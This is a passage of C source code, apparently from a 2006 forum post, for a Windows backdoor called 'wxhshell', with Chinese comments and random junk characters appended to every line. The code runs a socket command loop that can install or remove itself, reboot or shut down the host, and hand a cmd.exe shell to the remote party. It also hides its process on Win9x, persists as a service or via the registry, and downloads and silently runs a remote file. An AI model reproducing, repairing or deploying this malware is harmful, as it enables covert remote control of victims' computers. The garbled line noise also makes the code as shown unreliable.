  else { vdS)EIt  
RxUABF8b  
    switch(cmd[0]) { *.g@6IkAQ  
  b&iJui"7k  
  // 帮助 \9FWH}|  
  case '?': { Y\cQ "9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8y$c\Eu(mF  
    break; xNLvK:@0p  
  } 83~9Xb=!\  
  // 安装 O\;R (  
  case 'i': { 9pY`_lxa>  
    if(Install()) -hn~-Sy+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @)hrj2Jw  
    else RlW7l1h&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A~Uqw8n$\  
    break; i7 *cpNPO  
    } |~V`Es +j  
  // 卸载 '5V#sq;Z  
  case 'r': { m`3Mev  
    if(Uninstall()) g#Doed.30=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (=de#wh2]  
    else 6<%W 8m\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e 9p+  
    break; t93iU?Z  
    } wfE%` 1  
  // 显示 wxhshell 所在路径 ;8VvpO^G/  
  case 'p': { PR{y84$  
    char svExeFile[MAX_PATH]; 3jaY\(`%h  
    strcpy(svExeFile,"\n\r"); WZ#|?pJ  
      strcat(svExeFile,ExeFile); jjbw+  
        send(wsh,svExeFile,strlen(svExeFile),0); d|~A>YZ  
    break; k~P{Rm;F  
    } ~C;1}P%9x  
  // 重启 OI0tgkG  
  case 'b': { W5#5RK"uX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ga#Yd}G^~3  
    if(Boot(REBOOT)) O7KR~d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ~wX4j  
    else { v<2B^(i}VB  
    closesocket(wsh); "?[7oI}c&  
    ExitThread(0); $hCPmiI  
    } >WKlR` J%  
    break; ,pc\ )HR  
    } BUp,bJpO  
  // 关机 @['4X1pqt  
  case 'd': { q/|WkV `m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hhZU E]  
    if(Boot(SHUTDOWN)) XyM?Dc5,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +ISXyGu  
    else { C/sDyv$  
    closesocket(wsh); 0'{`"QD\IW  
    ExitThread(0); m{ya%F  
    } RR 8Z 9D;  
    break; Nvef+L,v  
    } 4_A9o9&_Rh  
  // 获取shell `6t3D&.u0  
  case 's': { 1|PmZPKq9n  
    CmdShell(wsh); #h#Bcv0 Z  
    closesocket(wsh); .F*2]xj@"  
    ExitThread(0); ;~Em,M"o  
    break; 1V@\L|Y  
  } cv'Fc  
  // 退出 VB+sl2V<h  
  case 'x': { Xc^7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /G>reG,G  
    CloseIt(wsh); N$j I&SI?}  
    break; [xVE0l*\   
    }  ;7F|g  
  // 离开 H$ sNp\[{  
  case 'q': { .W>8bg'u9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7%(|)3"V  
    closesocket(wsh); B-OuBS,fwC  
    WSACleanup(); T21SuM  
    exit(1); 0H V-e  
    break; j&S8x|5  
        } 4't@i1Ll(  
  } yL&_>cV  
  } >v+ia%o  
kS>'6xXH  
  // 提示信息 B1&H5gxgN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7 %P?3  
} ]/d4o  
  } ,8F?v~C  
>%"Q]p  
  return; R.g'&_zx  
} kRk=8^."By  
zn4Yo  
// shell模块句柄 t?-7Z6  
int CmdShell(SOCKET sock) j=^b'dyL  
{ J6!t"eB+  
STARTUPINFO si; }/Wd9x  
ZeroMemory(&si,sizeof(si)); g>[|/z P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W biUz2)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UeRx ^  
PROCESS_INFORMATION ProcessInfo; =](c7HEQf  
char cmdline[]="cmd"; kUJ\AK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GQ-o wH]  
  return 0; #0-!P+c[  
} JuGQS24  
*5i~N}  
// 自身启动模式 c-INVA)  
int StartFromService(void) t;DZ^Z"{  
{ !d1}IU-h  
typedef struct D&WXa|EOK  
{ Z?%j5G=4w  
  DWORD ExitStatus; HA{-XPAWZ  
  DWORD PebBaseAddress; _ +,2b:D:  
  DWORD AffinityMask; `9Qr kkG+  
  DWORD BasePriority; FjUp+5  
  ULONG UniqueProcessId; 3I_"vk  
  ULONG InheritedFromUniqueProcessId; cLQvzd:h=  
}   PROCESS_BASIC_INFORMATION; /~_Cb= 7  
YkcX#>,  
PROCNTQSIP NtQueryInformationProcess; ;3n0 bKDY  
}*n(RnCn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VA _O0y2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5L<}u` 0J  
?=<vC  
  HANDLE             hProcess; }P$48o VY  
  PROCESS_BASIC_INFORMATION pbi; uP/WRQ{rW>  
jl<rxO?-F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Rk PY@>  
  if(NULL == hInst ) return 0; NgKbf vt  
%J `;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xDBEs*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F<?e79},`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I`44}oJ  
XM/P2=;  
  if (!NtQueryInformationProcess) return 0; +a&-'`7g  
;G.m;5A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g<s[6yA  
  if(!hProcess) return 0; *@Z/L26s;=  
`4cs.ab  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r'hr 'wZ  
#R|M(Z">q  
  CloseHandle(hProcess); `h M:U  
'f`~"@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RB_7S!qC5  
if(hProcess==NULL) return 0; gKg2Ntxj  
)o[ O%b  
HMODULE hMod; xZ@H{):  
char procName[255]; Y#PbC  
unsigned long cbNeeded; ,{c9Lv%@J  
#VC^><)3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (ju-r*0  
1fL@rR  
  CloseHandle(hProcess); FTt7o'U  
DR9M8E  
if(strstr(procName,"services")) return 1; // 以服务启动 M[_~7~4  
xIF z@9+k  
  return 0; // 注册表启动 \%NhggS*  
} @+}Q<  
)BTJs)E  
// 主模块 ]}9y>+>  
int StartWxhshell(LPSTR lpCmdLine) #;H,`r  
{ `QR2!W70o3  
  SOCKET wsl; N_L&!%s  
BOOL val=TRUE; Bh*~I_Ta>  
  int port=0; Z`"UT#^SI  
  struct sockaddr_in door; ,ewg3mYHC&  
}se)=7d8 Z  
  if(wscfg.ws_autoins) Install(); dv%gmUUf}k  
~GfcI:Zz&  
port=atoi(lpCmdLine); <uL?7P  
'oTcx Jx  
if(port<=0) port=wscfg.ws_port; q4 'x'8  
|Xd[%W)  
  WSADATA data; z$-/yT"M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,I=Cl mR  
tZa)sbz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B>o\;)l3O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vD) LRO Z  
  door.sin_family = AF_INET; v%&f00  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C3 0b}2  
  door.sin_port = htons(port); iTD}gC  
"JVz v U]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D +)6#i Y  
closesocket(wsl); S:vv*5  
return 1; {H $\,  
} 5DyN=[b  
c ~YD|l  
  if(listen(wsl,2) == INVALID_SOCKET) { ^V_acAuS^  
closesocket(wsl); V{Idj\~Jh  
return 1; ItKwB+my  
} 1elcP`N1  
  Wxhshell(wsl); ]qXHalHY  
  WSACleanup(); FTCp3g  
-ihF)^"a  
return 0; Lj(hk @  
)dF(5,y)  
} A>>@&c:(  
]02 l!"  
// 以NT服务方式启动 R_vZh|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ) 0AE*S  
{ =]xNpX)  
DWORD   status = 0; .1I];Cy0D  
  DWORD   specificError = 0xfffffff; U]hQ#a+  
ADv a@P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6{azzk8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K^{`8E&A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yc?taL)  
  serviceStatus.dwWin32ExitCode     = 0; ,l; &Tb=k  
  serviceStatus.dwServiceSpecificExitCode = 0; (G PJ=r  
  serviceStatus.dwCheckPoint       = 0; D{'Na5(  
  serviceStatus.dwWaitHint       = 0; |,dMF2ADc  
tt J,rM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G:WMocyXI'  
  if (hServiceStatusHandle==0) return; ]N=C%#ki!  
`y YgL@Zt  
status = GetLastError(); Oku4EJFJ  
  if (status!=NO_ERROR) m3_e]v3{o  
{ P603P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FbFUZ^Zj  
    serviceStatus.dwCheckPoint       = 0; :1Fm~'  
    serviceStatus.dwWaitHint       = 0; B"KsYB79t  
    serviceStatus.dwWin32ExitCode     = status; *$# r%  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9d[0i#`:q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bf'jXM{-  
    return; }%k"qW<Y  
  } <u2*(BM4  
n#J$=@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]; ^OY\,  
  serviceStatus.dwCheckPoint       = 0; #(aROTV5a  
  serviceStatus.dwWaitHint       = 0; p6Z]oL q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i $I|JJJ  
} :-"J)^V  
{]D!@87  
// 处理NT服务事件,比如:启动、停止 ziH2<@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E=QL4*?   
{ BLaX p0  
switch(fdwControl) z%Z}vWn  
{ =l7LEkR  
case SERVICE_CONTROL_STOP: )&R;!#;5  
  serviceStatus.dwWin32ExitCode = 0; ['R=@.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3l L:vD5(  
  serviceStatus.dwCheckPoint   = 0; M0]l!x#7  
  serviceStatus.dwWaitHint     = 0; 6J|f^W-fs  
  { mu{%%b7|^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X2@o"xU  
  } $}KYpSV  
  return; 2WUBJ-qnuT  
case SERVICE_CONTROL_PAUSE: ^ _+ks/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U1q$B32  
  break; +:'Po.{"  
case SERVICE_CONTROL_CONTINUE: zi-+@9T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TS[Z<m  
  break; b$$XriD]  
case SERVICE_CONTROL_INTERROGATE: wd#AA#J;*  
  break; /XMmE  
}; GrQl3 Xi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8V|-BP5^  
} jQ^Ib]"K  
HJcZ~5jf  
// 标准应用程序主函数 >8 JvnBFx=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Bp/8 >E O`  
{ GzB%vsv9 5  
2~`dV_  
// 获取操作系统版本 ,o}[q92@w  
OsIsNt=GetOsVer(); Y 4714  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &9ZIf#R  
"mH^Owai  
  // 从命令行安装 ^@19cU?q  
  if(strpbrk(lpCmdLine,"iI")) Install(); =OHDp7GXO>  
d.} rn"(z  
  // 下载执行文件 8U(a&G6gn  
if(wscfg.ws_downexe) { S}< <jI-z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #TSM#Uqe  
  WinExec(wscfg.ws_filenam,SW_HIDE); a<o0B{7{BM  
} y]CJOC)/K  
M^[ jA](a  
if(!OsIsNt) { qt:->yiq+  
// 如果时win9x,隐藏进程并且设置为注册表启动 `nM4kt7  
HideProc(); _$cBI_eA7  
StartWxhshell(lpCmdLine); HkV/+ {;S~  
} ~%}g"|o  
else d:wAI|  
  if(StartFromService()) 2 sOc]L:9  
  // 以服务方式启动 (qG$u&  
  StartServiceCtrlDispatcher(DispatchTable); 4[-9$ r  
else )Z_i[1V  
  // 普通方式启动 uB^]5sqfk  
  StartWxhshell(lpCmdLine); nx +& {hn(  
*7vPU:Q[  
return 0; 6,h<0j{  
}
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只看该作者 1 发表于: 2006-10-10
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